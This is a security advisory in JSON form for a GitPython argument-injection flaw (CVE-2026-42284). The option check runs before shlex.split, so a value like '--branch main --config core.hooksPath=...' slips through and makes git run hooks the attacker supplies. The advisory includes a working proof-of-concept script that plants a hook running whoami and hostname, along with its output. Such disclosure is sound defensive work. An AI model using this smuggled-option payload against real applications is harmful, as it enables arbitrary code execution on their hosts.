{"schema_version":"1.9.0","id":"GHSA-x2qx-6953-8485","published":"2026-04-25T23:41:49Z","modified":"2026-09-10T03:51:03.787491179Z","aliases":["CVE-2026-42284","PYSEC-2026-2161"],"summary":"GitPython: Unsafe option check validates multi_options before shlex.split transformation","details":"### Summary\n\n`_clone()` validates `multi_options` as the original list, then executes `shlex.split(\" \".join(multi_options))`. A string like `\"--branch main --config core.hooksPath=/x\"` passes validation (starts with `--branch`), but after split becomes `[\"--branch\", \"main\", \"--config\", \"core.hooksPath=/x\"]`. Git applies the config and executes attacker hooks during clone.\n\n### Details\n\nThe vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383):\n```python\nmulti = shlex.split(\" \".join(multi_options))\n```\n\nThen validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390):\n```python\nGit.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)\n```\n\nThen execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392):\n```python\nproc = git.clone(multi, \"--\", url, path, ...)\n```\n\nThe [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`:\n```python\nif option.startswith(unsafe_option) or option == bare_option:\n```\n\n`\"--branch main --config ...\"` does not start with `\"--config\"`, so it passes. After `shlex.split`, `\"--config\"` becomes its own token and reaches git.\n\nAlso affects `Submodule.update()` via `clone_multi_options`.\n\n### PoC\n\n```python\nimport sys, pathlib, subprocess\nsys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))\n\nfrom git import Repo\nfrom git.exc import UnsafeOptionError\n\ntry:\n    Repo.clone_from(\"/nonexistent\", \"/tmp/x\", multi_options=[\"--config\", \"core.hooksPath=/x\"])\nexcept UnsafeOptionError:\n    print(\"multi_options=['--config', '...']: Block as expected\")\nexcept Exception:\n    pass\n\nDIR = pathlib.Path(__file__).resolve().parent / \"workdir_b\"\nSRC = DIR / \"repo\"\nDST = DIR / \"dst\"\nHOOKS = DIR / \"hooks\"\nLOG = DIR / \"output.log\"\n\nif not SRC.exists():\n    SRC.mkdir(parents=True)\n    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)\n    r(\"git\", \"init\", \"-b\", \"main\")\n    (SRC / \"f\").write_text(\"x\\n\")\n    r(\"git\", \"add\", \".\")\n    r(\"git\", \"commit\", \"-m\", \"init\")\n\nHOOKS.mkdir(exist_ok=True)\nhook = HOOKS / \"post-checkout\"\nhook.write_text(f\"#!/bin/sh\\nwhoami > {LOG.as_posix()}\\nhostname >> {LOG.as_posix()}\\n\")\nhook.chmod(0o755)\n\nLOG.unlink(missing_ok=True)\npayload = \"--branch main --config core.hooksPath=\" + HOOKS.as_posix()\n\ntry:\n    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])\nexcept UnsafeOptionError:\n    print(f\"multi_options=['{payload}']: BLOCKED\"); sys.exit(1)\nexcept Exception:\n    pass\n\nif not LOG.exists() and DST.exists():\n    subprocess.run([\"git\", \"checkout\", \"--force\", \"main\"], cwd=DST, capture_output=True)\n\nprint(f\"multi_options=['{payload}']: not blocked\")\nprint(f\"\\nHook executed: {LOG.exists()}\")\nif LOG.exists():\n    print(LOG.read_text().strip())\n```\n\n**Output:**\n```\nmulti_options=['--config', '...']: Block as expected\nmulti_options=['--branch main --config core.hooksPath=.../hooks']: not blocked\n\nHook executed: True\ntexugo\nDESKTOP-5w5HH79\n```\n\n### Impact\n\nAny application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.","affected":[{"package":{"name":"gitpython","ecosystem":"PyPI","purl":"pkg:pypi/gitpython"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.47"}]}],"versions":["0.1.7","0.2.0-beta1","0.3.0-beta1","0.3.0-beta2","0.3.1-beta2","0.3.2","0.3.2.1","0.3.2.RC1","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","1.0.0","1.0.1","1.0.2","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.9.dev0","2.0.9.dev1","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.19","3.1.2","3.1.20","3.1.22","3.1.23","3.1.24","3.1.25","3.1.26","3.1.27","3.1.28","3.1.29","3.1.3","3.1.30","3.1.31","3.1.32","3.1.33","3.1.34","3.1.35","3.1.36","3.1.37","3.1.38","3.1.4","3.1.40","3.1.41","3.1.42","3.1.43","3.1.44","3.1.45","3.1.46","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-x2qx-6953-8485/GHSA-x2qx-6953-8485.json"}}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42284"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47"},{"type":"WEB","url":"https://www.tenable.com/cve/CVE-2026-32686"}],"database_specific":{"cwe_ids":["CWE-88"],"github_reviewed":true,"github_reviewed_at":"2026-04-25T23:41:49Z","nvd_published_at":"2026-05-07T19:16:01Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}